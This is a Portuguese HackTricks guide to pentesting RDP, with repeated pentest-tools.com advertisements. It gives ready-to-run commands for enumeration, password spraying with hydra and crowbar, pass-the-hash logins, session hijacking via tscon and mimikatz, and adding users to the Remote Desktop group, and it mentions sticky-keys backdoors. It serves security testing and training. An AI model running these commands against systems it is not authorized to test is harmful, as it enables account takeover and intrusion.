hacktricks/network-services-pentesting/pentesting-rdp.md

9.6 KiB

3389 - Pentesting RDP

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

{% embed url="https://pentest-tools.com/" %}

Informações Básicas

Desenvolvido pela Microsoft, o Protocolo de Área de Trabalho Remota (RDP) é projetado para permitir uma conexão de interface gráfica entre computadores em uma rede. Para estabelecer essa conexão, o software cliente RDP é utilizado pelo usuário e, simultaneamente, o computador remoto deve operar o software servidor RDP. Essa configuração permite o controle e acesso contínuo do ambiente de área de trabalho de um computador remoto, essencialmente trazendo sua interface para o dispositivo local do usuário.

Porta padrão: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeração

Automática

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações do Windows NTLM (versões).

Brute force

Tenha cuidado, você pode bloquear contas

Password Spraying

Tenha cuidado, você pode bloquear contas

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Conectar com credenciais/hash conhecidas

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verificar credenciais conhecidas em serviços RDP

O rdp_check.py do Impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:

rdp_check <domain>/<name>:<password>@<IP>

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

{% embed url="https://pentest-tools.com/" %}

Ataques

Roubo de sessão

Com permissões do SISTEMA, você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar saber a senha do proprietário.

Obter sessões abertas:

query user

Acesso à sessão selecionada

tscon <ID> /dest:<SESSIONNAME>

Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.

Importante: Quando você acessa uma sessão RDP ativa, você encerrará a sessão do usuário que a estava utilizando.

Você poderia obter senhas do processo fazendo dump delas, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas em notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)

Mimikatz

Você também pode usar o mimikatz para fazer isso:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combinando esta técnica com stickykeys ou utilman você será capaz de acessar um CMD administrativo e qualquer sessão RDP a qualquer momento

Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas com: https://github.com/linuz/Sticky-Keys-Slayer

Injeção de Processo RDP

Se alguém de um domínio diferente ou com privilégios superiores fizer login via RDP no PC onde você é um Administrador, você pode injetar seu beacon no processo da sessão RDP dele e agir como ele:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adicionando Usuário ao Grupo RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Ferramentas Automáticas

AutoRDPwn é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores com Windows da Microsoft. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho de sua vítima sem seu consentimento, e até mesmo controle-a sob demanda, usando ferramentas nativas do próprio sistema operacional.

  • EvilRDP
  • Controlar o mouse e o teclado de forma automatizada a partir da linha de comando
  • Controlar a área de transferência de forma automatizada a partir da linha de comando
  • Iniciar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
  • Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
  • Fazer upload e download de arquivos para/do alvo mesmo quando as transferências de arquivos estão desativadas no alvo
Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

{% embed url="https://pentest-tools.com/" %}

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: